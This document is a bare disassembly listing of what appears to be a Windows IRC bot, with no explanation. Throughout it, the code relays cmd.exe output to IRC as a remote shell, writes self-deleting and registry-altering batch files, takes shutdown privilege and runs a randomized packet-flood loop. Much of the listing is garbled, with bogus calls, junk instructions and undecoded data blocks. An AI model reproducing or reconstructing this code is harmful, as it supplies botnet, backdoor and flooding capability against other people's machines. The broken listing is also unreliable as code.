test esi, esi
jz short loc_408171
push edi
push esi
call ds:dword_41F0C0 ; GlobalLock
push esi
mov edi, eax
call ds:dword_41F0BC ; GlobalUnlock
call ds:dword_42F75C
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_408171: ; CODE XREF: sub_40813A+Bj
; sub_40813A+19j
xor eax, eax
pop esi
retn
sub_40813A endp
; =============== S U B R O U T I N E =======================================
sub_408175 proc near ; CODE XREF: seg000:0040F8A0p
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call ds:dword_42F714
mov ebp, eax
cmp ebp, esi
jz short loc_4081F1
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 0A70000h
mov dl, 56h
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 0A70000h
mov al, ds:142474FFh
mov ebx, eax
push ebx
call sub_4135AD
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_42F764
push esi
push 1
push 4C9h
push ebp
call ds:dword_42F764
push ebx
call near ptr 0A70000h
aam 57h
call ds:dword_41F070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_4081F3
; ---------------------------------------------------------------------------
loc_4081F1: ; CODE XREF: sub_408175+16j
xor eax, eax
loc_4081F3: ; CODE XREF: sub_408175+7Aj
pop edi
pop esi
pop ebp
retn
sub_408175 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081F7 proc near ; CODE XREF: seg000:0040AD2Fp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_42F7C4
test eax, eax
jz short near ptr loc_408292+4
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_41F078
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; dword_41F078
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short near ptr loc_408292+4
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call near ptr 0A70000h
or al, 53h
mov ebx, ds:dword_41F070
call ebx ; dword_41F070
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; dword_41F078
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short near ptr loc_408292+4
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 0A70000h
loc_408292: ; CODE XREF: sub_4081F7+2Aj
; sub_4081F7+51j ...
adc dword ptr [esi-1], 5B5E5FD3h
leave
retn
sub_4081F7 endp
; =============== S U B R O U T I N E =======================================
sub_40829B proc near ; CODE XREF: seg000:0040C711p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_4120CB
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_42F650
neg eax
sbb eax, eax
neg eax
retn
sub_40829B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4082BD proc near ; CODE XREF: seg000:00410764p
var_764 = byte ptr -764h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_428238, esi
push edi
jz short loc_4082E1
cmp ds:dword_42F7D8, esi
jnz short loc_4082E1
push esi
call sub_409824
pop ecx
loc_4082E1: ; CODE XREF: sub_4082BD+13j
; sub_4082BD+1Bj
call sub_413222
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 0A70000h
std
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4135AD
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_41F078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_408441
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4135AD
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 0A70000h
db 65h
push edi
call ds:dword_41F070 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_413630
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_413630
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_42E348
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 0A70000h
leave
push eax
call near ptr 0A70000h
iret
; ---------------------------------------------------------------------------
db 8Dh, 85h, 0A4h
dd 50FFFFFEh, 0F07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h
dd 8068FFh, 0E8500000h, 667C18h, 0A4858D72h, 50FFFFFEh
dd 0FDA0858Dh, 8D50FFFFh, 0FFF89C85h, 5C8468FFh, 0E8500042h
dd 0B1A5h, 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h
dd 0E1E850FFh, 6A00667Bh, 50EC458Dh, 50A8458Dh, 8685656h
dd 6A000040h, 858D5601h, 0FFFFFC9Ch, 0E8565056h, 667BC0h
db 0B7h
; ---------------------------------------------------------------------------
loc_408441: ; CODE XREF: sub_4082BD+72j
pop edi
pop esi
leave
retn
sub_4082BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408445 proc near ; CODE XREF: seg000:0040AB44p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_413E30
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCA_bat ; "c:\\a.bat"
push eax
movsb
call sub_4135AD
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_41F078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_4084FF
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call near ptr 0A70000h
retn
; ---------------------------------------------------------------------------
db 57h, 0FFh, 15h
dd offset dword_41F070
dd 458D446Ah, 56575FB8h, 0B15EE850h, 0C4830000h, 0A84D8D0Ch
dd 66B87D89h, 6AE87589h, 8D515801h, 5651B84Dh, 89286A56h
dd 5650E445h, 0FEA8858Dh, 5056FFFFh, 7B02E856h
db 66h, 0, 8Eh
; ---------------------------------------------------------------------------
loc_4084FF: ; CODE XREF: sub_408445+55j
pop edi
pop esi
leave
retn
sub_408445 endp
; =============== S U B R O U T I N E =======================================
sub_408503 proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_42F748
cmp eax, 0FFFFFFFFh
jnz short locret_40852B
push [esp+arg_0]
call ds:dword_42F78C
test eax, eax
jnz short loc_408524
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_408524: ; CODE XREF: sub_408503+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40852B: ; CODE XREF: sub_408503+Dj
retn
sub_408503 endp
; =============== S U B R O U T I N E =======================================
sub_40852C proc near ; CODE XREF: sub_40B07B+D6p
mov ecx, ds:dword_42F630
xor eax, eax
test ecx, ecx
jz short locret_40853A
call ecx ; dword_42F630
locret_40853A: ; CODE XREF: sub_40852C+Aj
retn
sub_40852C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40853B proc near ; CODE XREF: seg000:loc_410496p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_42F784
mov ecx, eax
sub ecx, edi
jz loc_408601
sub ecx, 32h
jz loc_4085FA
sub ecx, 48h
jz short loc_40859B
sub ecx, 6Eh
jz short loc_408594
loc_40857D: ; CODE XREF: sub_40853B+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_4274C0
push eax
call sub_4135AD
add esp, 0Ch
jmp short loc_4085DB
; ---------------------------------------------------------------------------
loc_408594: ; CODE XREF: sub_40853B+40j
push offset unk_427488
jmp short loc_4085CD
; ---------------------------------------------------------------------------
loc_40859B: ; CODE XREF: sub_40853B+3Bj
push [ebp+var_8]
call sub_413E5F
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_413630
add esp, 10h
cmp esi, edi
jz short loc_4085C8
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_42F784
cmp eax, edi
jz short loc_408601
jmp short loc_40857D
; ---------------------------------------------------------------------------
loc_4085C8: ; CODE XREF: sub_40853B+79j
push offset unk_427444
loc_4085CD: ; CODE XREF: sub_40853B+5Ej
; sub_40853B+C4j
lea eax, [ebp+var_88]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_4085DB: ; CODE XREF: sub_40853B+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_409615
pop ecx
loc_4085EB: ; CODE XREF: sub_40853B+C8j
; sub_40853B+DCj
push esi
call sub_413ED3
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4085FA: ; CODE XREF: sub_40853B+32j
push offset unk_427400
jmp short loc_4085CD
; ---------------------------------------------------------------------------
loc_408601: ; CODE XREF: sub_40853B+29j
; sub_40853B+89j
cmp [esi], edi
jbe short loc_4085EB
lea ebx, [esi+4]
loc_408608: ; CODE XREF: sub_40853B+DAj
push ebx
call ds:dword_42F780
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_408608
jmp short loc_4085EB
sub_40853B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408619 proc near ; CODE XREF: seg000:00401E3Ep
; seg000:0040252Fp ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_42F6AC
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_42FA3C
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_4135AD
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_408619 endp
; =============== S U B R O U T I N E =======================================
sub_408672 proc near ; CODE XREF: seg000:004012FEp
; seg000:00401344p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40869B
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40868E: ; CODE XREF: sub_408672+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40868E
pop edi
jmp short loc_40869F
; ---------------------------------------------------------------------------
loc_40869B: ; CODE XREF: sub_408672+Aj
mov edx, [esp+4+arg_0]
loc_40869F: ; CODE XREF: sub_408672+27j
test esi, esi
pop esi
jz short loc_4086A9
movzx ecx, byte ptr [edx]
add eax, ecx
loc_4086A9: ; CODE XREF: sub_408672+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_408672 endp
; ---------------------------------------------------------------------------
loc_4086BF: ; DATA XREF: seg000:0040E08Fo
push ebp
mov ebp, esp
mov eax, 10320h
call sub_413E30
mov eax, [ebp+8]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call ds:dword_42F694
mov [ebp+8], eax
lea eax, [ebp-0C0h]
push eax
call ds:dword_42F748
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40871A
lea eax, [ebp-0C0h]
push eax
call ds:dword_42F78C
cmp eax, ebx
jz short loc_408720
loc_40871A: ; CODE XREF: seg000:00408707j
cmp dword ptr [ebp+8], 0FFFFFFFFh
jnz short near ptr loc_40877C+1
loc_408720: ; CODE XREF: seg000:00408718j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_427544
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_408760
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_4110B0
add esp, 14h
loc_408760: ; CODE XREF: seg000:0040873Ej
lea eax, [ebp-344h]
push eax
call sub_409615
push dword ptr [ebp-30h]
call sub_413375
pop ecx
pop ecx
push edi
call near ptr 0A70000h
loc_40877C: ; CODE XREF: seg000:0040871Ej
add [ebx], edi
retn
; ---------------------------------------------------------------------------
jz short loc_40878D
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-4], eax
jmp short loc_408790
; ---------------------------------------------------------------------------
loc_40878D: ; CODE XREF: seg000:0040877Fj
mov [ebp-4], esi
loc_408790: ; CODE XREF: seg000:0040878Bj
push 1Ch
lea eax, [ebp-20h]
push ebx
push eax
call sub_413630
or dword ptr [ebp-18h], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp-3Ch], eax
jle short loc_4087B0
mov [ebp-3Ch], eax
loc_4087B0: ; CODE XREF: seg000:004087ABj
cmp [ebp-38h], edi
jge short loc_4087B8
mov [ebp-38h], edi
loc_4087B8: ; CODE XREF: seg000:004087B3j
xor esi, esi
cmp [ebp-40h], ebx
jle short loc_4087E5
loc_4087BF: ; CODE XREF: seg000:004087E3j
push dword ptr [ebp-38h]
lea eax, [ebp-20h]
push 1Ch
push eax
push ebx
lea eax, [ebp-10320h]
push dword ptr [ebp-3Ch]
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+8]
call ds:dword_42F62C
inc esi
cmp esi, [ebp-40h]
jl short loc_4087BF
loc_4087E5: ; CODE XREF: seg000:004087BDj
push dword ptr [ebp+8]
call ds:dword_42F7C0
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_427504
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_40882E
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_4110B0
add esp, 14h
loc_40882E: ; CODE XREF: seg000:0040880Cj
lea eax, [ebp-344h]
push eax
call sub_409615
push dword ptr [ebp-30h]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
; ---------------------------------------------------------------------------
db 3Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40884B proc near ; DATA XREF: seg000:0040E1D6o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_413E30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
pop ecx
push 11h
push 2
push 2
call ds:dword_42F788
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call ds:dword_42F748
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_408930
lea eax, [ebp+var_B0]
push eax
call ds:dword_42F78C
cmp eax, edi
jnz short loc_408929
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_4275C0
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40890C
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_4110B0
add esp, 14h
loc_40890C: ; CODE XREF: sub_40884B+9Fj
lea eax, [ebp+var_334]
push eax
call sub_409615
push [ebp+var_20]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
push eax
loc_408929: ; CODE XREF: sub_40884B+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_408933
; ---------------------------------------------------------------------------
loc_408930: ; CODE XREF: sub_40884B+6Ej
lea eax, [ebp+arg_0]
loc_408933: ; CODE XREF: sub_40884B+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40894E
call sub_413609
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_408951
; ---------------------------------------------------------------------------
loc_40894E: ; CODE XREF: sub_40884B+F0j
push [ebp+var_24]
loc_408951: ; CODE XREF: sub_40884B+101j
call ds:dword_42F708
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_408963
mov [ebp+var_24], esi
loc_408963: ; CODE XREF: sub_40884B+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_408970
mov [ebp+var_24], eax
loc_408970: ; CODE XREF: sub_40884B+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_408984
mov [ebp+var_28], esi
loc_408984: ; CODE XREF: sub_40884B+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_4089A5
loc_40898B: ; CODE XREF: sub_40884B+158j
call sub_413609
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40898B
loc_4089A5: ; CODE XREF: sub_40884B+13Ej
; sub_40884B+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_408A04
push 0Bh
pop esi
loc_4089B2: ; CODE XREF: sub_40884B+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_413609
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call ds:dword_42F76C
push [ebp+var_28]
call ds:dword_41F058 ; Sleep
dec esi
jnz short loc_4089B2
cmp [ebp+var_24], edi
jnz short loc_4089A5
call sub_413609
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call ds:dword_42F708
mov [ebp+var_E], ax
jmp short loc_4089A5
; ---------------------------------------------------------------------------
loc_408A04: ; CODE XREF: sub_40884B+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_427580
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_408A44
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_4110B0
add esp, 14h
loc_408A44: ; CODE XREF: sub_40884B+1D7j
lea eax, [ebp+var_334]
push eax
call sub_409615
push [ebp+var_20]
call sub_413375
pop ecx
pop ecx
push edi
call near ptr 0A70000h
and byte ptr ds:dword_42FA54[ecx], ah ; CODE XREF: sub_408AC9+7Ep
; seg000:00408CB1p
sub_40884B endp ; sp-analysis failed
push esi
mov esi, ds:dword_41F070
cmp eax, 0FFFFFFFFh
jz short loc_408A75
push eax
call esi ; dword_41F070
loc_408A75: ; CODE XREF: seg000:00408A70j
mov eax, ds:dword_42FA5C
cmp eax, 0FFFFFFFFh
jz short loc_408A82
push eax
call esi ; dword_41F070
loc_408A82: ; CODE XREF: seg000:00408A7Dj
mov eax, ds:dword_42FA50
cmp eax, 0FFFFFFFFh
jz short loc_408A8F
push eax
call esi ; dword_41F070
loc_408A8F: ; CODE XREF: seg000:00408A8Aj
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408A91 proc near ; CODE XREF: seg000:0040F862p
var_17F68A40 = byte ptr -17F68A40h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_413DB0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push ds:dword_42FA58
call near ptr 0A70000h
adc [ebp+var_17F68A40], al
mov eax, ds:33FFFFFFh
ror cl, 0C3h
push 1
pop eax
leave
retn
sub_408A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408AC9 proc near ; CODE XREF: seg000:00408C23p
; seg000:00408C42p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_42E348
push [ebp+arg_4]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_408B0C
push 7D0h
call ds:dword_41F058 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4135AD
add esp, 10h
jmp short loc_408B23
; ---------------------------------------------------------------------------
loc_408B0C: ; CODE XREF: sub_408AC9+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
add esp, 0Ch
loc_408B23: ; CODE XREF: sub_408AC9+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_42F758
test eax, eax
jg short loc_408B4C
call near ptr loc_408A60+1
loc_408B4C: ; CODE XREF: sub_408AC9+7Cj
xor eax, eax
leave
retn
sub_408AC9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_42FA60
loc_408B68: ; CODE XREF: seg000:00408BC9j
; seg000:00408C2Bj
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push ds:dword_42FA54
call near ptr 0A70000h
lock test eax, eax
jz loc_408C36
cmp [ebp-4], edi
jnz short loc_408BCB
lea eax, [ebp-8]
push eax
push ds:dword_42FA50
call near ptr 0A70000h
icebp
test eax, eax
jz short loc_408BC1
cmp dword ptr [ebp-8], 103h
jnz near ptr loc_408C59+1
loc_408BC1: ; CODE XREF: seg000:00408BB2j
push 0Ah
call ds:dword_41F058 ; Sleep
jmp short loc_408B68
; ---------------------------------------------------------------------------
loc_408BCB: ; CODE XREF: seg000:00408B9Ej
xor eax, eax
cmp [ebp-4], edi
jbe short loc_408BE2
loc_408BD2: ; CODE XREF: seg000:00408BE0j
cmp byte ptr [ebp+eax-20Ch], 0Ah
jz short loc_408C30
inc eax
cmp eax, [ebp-4]
jb short loc_408BD2
loc_408BE2: ; CODE XREF: seg000:00408BD0j
mov [ebp-4], esi
loc_408BE5: ; CODE XREF: seg000:00408C34j
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-0Ch]
push edi
push eax
push dword ptr [ebp-4]
lea eax, [ebp-20Ch]
push eax
push ds:dword_42FA54
call ds:dword_41F094 ; ReadFile
test eax, eax
jz short loc_408C82
lea eax, [ebp-20Ch]
push eax
push ebx
push ds:dword_42FA94
call sub_408AC9
add esp, 0Ch
jmp loc_408B68
; ---------------------------------------------------------------------------
loc_408C30: ; CODE XREF: seg000:00408BDAj
inc eax
mov [ebp-4], eax
jmp short loc_408BE5
; ---------------------------------------------------------------------------
loc_408C36: ; CODE XREF: seg000:00408B95j
push offset dword_42768C
push ebx
push ds:dword_42FA94
call sub_408AC9
push dword ptr [ebp+8]
call sub_413375
add esp, 10h
push 1
call near ptr 0A70000h
loc_408C59: ; CODE XREF: seg000:00408BBBj
sub ebp, eax
add bh, dh
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 68h
dd offset dword_427650
dd 9435FF53h, 0E80042FAh, 0FFFFFE59h, 0E80875FFh, 0A6FDh
dd 5710C483h, 66737FE8h
db 0, 2
; ---------------------------------------------------------------------------
loc_408C82: ; CODE XREF: seg000:00408C13j
push offset dword_42760C
push ebx
push ds:dword_42FA94
call sub_408AC9
push dword ptr [ebp+8]
call sub_413375
add esp, 10h
push edi
call near ptr 0A70000h
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
loc_408CA5: ; CODE XREF: seg000:00409A78p
; seg000:0041051Ep
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call near ptr loc_408A60+1
xor esi, esi
lea eax, [ebp-178h]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_42F7C4
test eax, eax
jz near ptr loc_408D9A+5
push 1
lea eax, [ebp-1Ch]
pop ebx
mov edi, ds:dword_41F0F8
push esi
push eax
lea eax, [ebp-0Ch]
mov dword ptr [ebp-1Ch], 0Ch
push eax
lea eax, [ebp-10h]
push eax
mov [ebp-14h], ebx
mov [ebp-18h], esi
call edi ; dword_41F0F8
test eax, eax
jz near ptr loc_408D9A+5
lea eax, [ebp-1Ch]
push esi
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
call edi ; dword_41F0F8
test eax, eax
jz near ptr loc_408D9A+5
mov edi, ds:dword_41F000
push 3
push esi
push esi
push offset dword_42FA58
call edi ; dword_41F000
push eax
push dword ptr [ebp-8]
call edi ; dword_41F000
push eax
call near ptr 0A70000h
push esi
test eax, eax
jz short near ptr loc_408D9A+5
push 10h
lea eax, [ebp-2Ch]
push esi
push eax
call sub_413630
push 44h
lea eax, [ebp-74h]
pop edi
push edi
push esi
push eax
call sub_413630
mov eax, [ebp-4]
add esp, 18h
mov [ebp-3Ch], eax
mov eax, [ebp-0Ch]
mov [ebp-38h], eax
mov [ebp-34h], eax
lea eax, [ebp-2Ch]
mov [ebp-74h], edi
push eax
lea eax, [ebp-74h]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_42E348
push esi
lea eax, [ebp-178h]
push ebx
push eax
mov dword ptr [ebp-48h], 101h
mov [ebp-44h], si
call near ptr 0A70000h
loc_408D9A: ; CODE XREF: seg000:00408CD4j
; seg000:00408D01j ...
test byte ptr [ebp-7CF78A40h], 0C8h
; ---------------------------------------------------------------------------
db 0FFh, 0E9h, 0AEh
dd 0FF000000h, 3D8BFC75h, 41F070h, 458BD7FFh, 0D875FFF0h
dd 42FA54A3h, 0F8458B00h, 42FA5CA3h, 0D4458B00h, 42FA50A3h
dd 8BD7FF00h, 75390845h, 0FA94A30Ch, 5740042h, 0EB0C75FFh
dd 60685301h, 0E80042FAh, 0A7C1h, 6A565959h, 77186807h
dd 5EE80042h, 8B0000A2h, 0DC4D8BF8h, 234FF69h, 0C4830000h
dd 0A08F890Ch, 8D004348h, 5651D04Dh, 8B506850h, 56560040h
dd 0F06C15FFh, 0C63B0041h, 48AC8789h, 27750043h, 0F06815FFh
dd 8D500041h, 0FFFC8885h, 76D068FFh, 0E8500042h, 0A769h
dd 0FC88858Dh, 0E850FFFFh, 7C5h, 3310C483h, 5B5E5FC0h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_408E5A proc near ; CODE XREF: sub_4055DD+74p
; sub_408F79+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_41F044 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
